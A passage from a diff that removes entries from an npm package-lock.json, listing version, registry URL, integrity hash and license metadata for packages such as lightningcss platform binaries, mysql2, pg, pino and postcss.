"https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz", - "integrity": "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0JNpg3Ml5pg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "android" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-arm64": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz", - "integrity": "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1uWG/Djg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-darwin-x64": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz", - "integrity": "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m8XQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "darwin" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-freebsd-x64": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz", - "integrity": "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3StRRg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "freebsd" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm-gnueabihf": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz", - "integrity": "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3rY1jCIPLzx7WzOhuUIRLQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-gnu": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz", - "integrity": "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3eCEhLVyXGQnKg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-arm64-musl": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz", - "integrity": "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oBPon/EmMMGg2OvtQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-gnu": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz", - "integrity": "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5tyRActuAg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-linux-x64-musl": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz", - "integrity": "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTaw1awrBAlZPw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-arm64-msvc": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz", - "integrity": "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4RrncfujZ4uAzXvwA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-x64-msvc": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz", - "integrity": "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKKSykTDX+ehuA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "peer": true, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", - "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/lru-cache": { - "version": "11.5.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.3.tgz", - "integrity": "sha512-U4N8FgzmWxc8k1VH8Kr6lQg18U7Fjvby6wXHVRX/ZZ7IwWbRMgrRbP0Wrb5q5NVinryp4SQampHKdvtecItxUg==", - "license": "BlueOak-1.0.0", - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/lru.min": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/lru.min/-/lru.min-1.1.5.tgz", - "integrity": "sha512-5J9ysMYUpYIg9RF2vJpy9SinEmSviFSe0GyPpCQ4L5QSkLAgeLXlTAOu2ZwWUU5m+0SBl6gUU1R1ZQB3aKypfA==", - "devOptional": true, - "license": "MIT", - "engines": { - "bun": ">=1.0.0", - "deno": ">=1.30.0", - "node": ">=8.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wellwelwel" - } - }, - "node_modules/magic-string": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-1.2.3.tgz", - "integrity": "sha512-Bpb0W2TbLKOZ7vJnOUnVRGq3WL2p+ISV29M6hYPL1AFCpyKZpdr5ytiXoTSSxRVhg8YW7f65+6gbG8WG6PCa/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/mime": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz", - "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", - "license": "MIT", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/minimatch": { - "version": "10.2.6", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", - "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==", - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.8" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/minimist": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", - "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/minipass": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", - "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/mysql2": { - "version": "3.15.3", - "resolved": "https://registry.npmjs.org/mysql2/-/mysql2-3.15.3.tgz", - "integrity": "sha512-FBrGau0IXmuqg4haEZRBfHNWB5mUARw6hNwPDXXGg0XzVJ50mr/9hb267lvpVMnhZ1FON3qNd4Xfcez1rbFwSg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "aws-ssl-profiles": "^1.1.1", - "denque": "^2.1.0", - "generate-function": "^2.3.1", - "iconv-lite": "^0.7.0", - "long": "^5.2.1", - "lru.min": "^1.0.0", - "named-placeholders": "^1.1.3", - "seq-queue": "^0.0.5", - "sqlstring": "^2.3.2" - }, - "engines": { - "node": ">= 8.0" - } - }, - "node_modules/named-placeholders": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/named-placeholders/-/named-placeholders-1.1.6.tgz", - "integrity": "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "lru.min": "^1.1.0" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.18", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.18.tgz", - "integrity": "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "peer": true, - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/obug": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.4.tgz", - "integrity": "sha512-4a+OsYv9UktOJKE+l1A4OufDgdRF9PifWj+tJnHURo/P+WOxpG4GzUFL9qCalmWauao6ogiG+QvnCovwPoyAWA==", - "dev": true, - "funding": [ - "https://github.com/sponsors/sxzz", - "https://opencollective.com/debug" - ], - "license": "MIT", - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/ohash": { - "version": "2.0.12", - "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.12.tgz", - "integrity": "sha512-65S/5gk9YSsaRjcyf7Nfa6h/d3E8/1gslpXfI4W7Dxn/oap8IKRuNT5VXkLQ1YFKIEg4apRY4Pj6aiwFzrDdmw==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/on-exit-leak-free": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz", - "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==", - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "dev": true, - "license": "ISC", - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/openapi-types": { - "version": "12.1.3", - "resolved": "https://registry.npmjs.org/openapi-types/-/openapi-types-12.1.3.tgz", - "integrity": "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw==", - "license": "MIT" - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-scurry": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", - "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^11.0.0", - "minipass": "^7.1.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/perfect-debounce": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-2.1.0.tgz", - "integrity": "sha512-LjgdTytVFXeUgtHZr9WYViYSM/g8MkcTPYDlPa3cDqMirHjKiSZPYd6DoL7pK8AJQr+uWkQvCjHNdiMqsrJs+g==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/pg": { - "version": "8.23.0", - "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.0.tgz", - "integrity": "sha512-Ip2EQCngowJLGOfCwkFhPXU7/ljlhn6Rxlmy4XYfL2Y+vyRM59+8uR2xqRWKdYmbXmxCFOAmKxBuSUCdF34qLg==", - "license": "MIT", - "dependencies": { - "pg-connection-string": "^2.14.0", - "pg-pool": "^3.14.0", - "pg-protocol": "^1.16.0", - "pg-types": "2.2.0", - "pgpass": "1.0.5" - }, - "engines": { - "node": ">= 16.0.0" - }, - "optionalDependencies": { - "pg-cloudflare": "^1.4.0" - }, - "peerDependencies": { - "pg-native": ">=3.0.1" - }, - "peerDependenciesMeta": { - "pg-native": { - "optional": true - } - } - }, - "node_modules/pg-cloudflare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz", - "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==", - "license": "MIT", - "optional": true - }, - "node_modules/pg-connection-string": { - "version": "2.14.0", - "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.0.tgz", - "integrity": "sha512-XwWDGcLRGCXAR8F/AM5bG7Q+A3Wm2s6QeEjlOKZLlH3UYcguiqCWKyWXVag5TLTIjR7oOJUY8kcADaZgWPyLeg==", - "license": "MIT" - }, - "node_modules/pg-int8": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", - "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", - "license": "ISC", - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/pg-pool": { - "version": "3.14.0", - "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz", - "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==", - "license": "MIT", - "peerDependencies": { - "pg": ">=8.0" - } - }, - "node_modules/pg-protocol": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.0.tgz", - "integrity": "sha512-sILXutLVjCLjcDuOmvhX5e2Z4cS5qG/6Bu3VkpFwdf/633ElGLpEh9bgmuI5I4sqKqkifQiGyiCcx1HdtrK7tg==", - "license": "MIT" - }, - "node_modules/pg-types": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", - "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", - "license": "MIT", - "dependencies": { - "pg-int8": "1.0.1", - "postgres-array": "~2.0.0", - "postgres-bytea": "~1.0.0", - "postgres-date": "~1.0.4", - "postgres-interval": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/pg-types/node_modules/postgres-array": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", - "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/pgpass": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", - "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", - "license": "MIT", - "dependencies": { - "split2": "^4.1.0" - } - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "dev": true, - "license": "ISC", - "peer": true - }, - "node_modules/picomatch": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", - "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pino": { - "version": "10.3.1", - "resolved": "https://registry.npmjs.org/pino/-/pino-10.3.1.tgz", - "integrity": "sha512-r34yH/GlQpKZbU1BvFFqOjhISRo1MNx1tWYsYvmj6KIRHSPMT2+yHOEb1SG6NMvRoHRF0a07kCOox/9yakl1vg==", - "license": "MIT", - "dependencies": { - "@pinojs/redact": "^0.4.0", - "atomic-sleep": "^1.0.0", - "on-exit-leak-free": "^2.1.0", - "pino-abstract-transport": "^3.0.0", - "pino-std-serializers": "^7.0.0", - "process-warning": "^5.0.0", - "quick-format-unescaped": "^4.0.3", - "real-require": "^0.2.0", - "safe-stable-stringify": "^2.3.1", - "sonic-boom": "^4.0.1", - "thread-stream": "^4.0.0" - }, - "bin": { - "pino": "bin.js" - } - }, - "node_modules/pino-abstract-transport": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-3.0.0.tgz", - "integrity": "sha512-wlfUczU+n7Hy/Ha5j9a/gZNy7We5+cXp8YL+X+PG8S0KXxw7n/JXA3c46Y0zQznIJ83URJiwy7Lh56WLokNuxg==", - "license": "MIT", - "dependencies": { - "split2": "^4.0.0" - } - }, - "node_modules/pino-pretty": { - "version": "13.1.3", - "resolved": "https://registry.npmjs.org/pino-pretty/-/pino-pretty-13.1.3.tgz", - "integrity": "sha512-ttXRkkOz6WWC95KeY9+xxWL6AtImwbyMHrL1mSwqwW9u+vLp/WIElvHvCSDg0xO/Dzrggz1zv3rN5ovTRVowKg==", - "dev": true, - "license": "MIT", - "dependencies": { - "colorette": "^2.0.7", - "dateformat": "^4.6.3", - "fast-copy": "^4.0.0", - "fast-safe-stringify": "^2.1.1", - "help-me": "^5.0.0", - "joycon": "^3.1.1", - "minimist": "^1.2.6", - "on-exit-leak-free": "^2.1.0", - "pino-abstract-transport": "^3.0.0", - "pump": "^3.0.0", - "secure-json-parse": "^4.0.0", - "sonic-boom": "^4.0.1", - "strip-json-comments": "^5.0.2" - }, - "bin": { - "pino-pretty": "bin.js" - } - }, - "node_modules/pino-std-serializers": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.1.0.tgz", - "integrity": "sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==", - "license": "MIT" - }, - "node_modules/pkg-types": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.2.tgz", - "integrity": "sha512-v0sVXzj7oPGysr543YYZLYbcJNJsKikSsp/fFzoxQ12ewY3ZZr7oCPC8y7OlmxfYB3QPvriXmuPD8KZggE1vqg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "confbox": "^0.3.0", - "exsolve": "^1.1.1", - "pathe": "^2.0.3" - } - }, - "node_modules/pkg-types/node_modules/confbox": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.3.1.tgz", - "integrity": "sha512-cKUSoKa8YxFZZSmraVi7onONx3amu77ngK3kGpsYHDH7drPwCRkQE1RYMPlLRrMtnciRj274XNRxcHxnKmDSnA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/postcss": { - "version": "8.5.28", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", - "integrity": "sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "peer": true, - "dependencies": { - "nanoid": "^3.3.18", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postgres": { - "version": "3.4.7", - "resolved": "https://registry.npmjs.org/postgres/-/postgres-3.4.7.tgz", - "integrity": "sha512-Jtc2612XINuBjIl/QTWsV5UvE8UHuNblcO3vVADSrKsrc6RqGX6lOW1cEo3CM2v0XG4Nat8nI+YM7/f26VxXLw==", - "devOptional": true, - "license": "Unlicense", - "engines": { - "node": ">=12" - }, - "funding": { - "type": "individual", - "url": "https://github.com/sponsors/porsager" - } - }, - 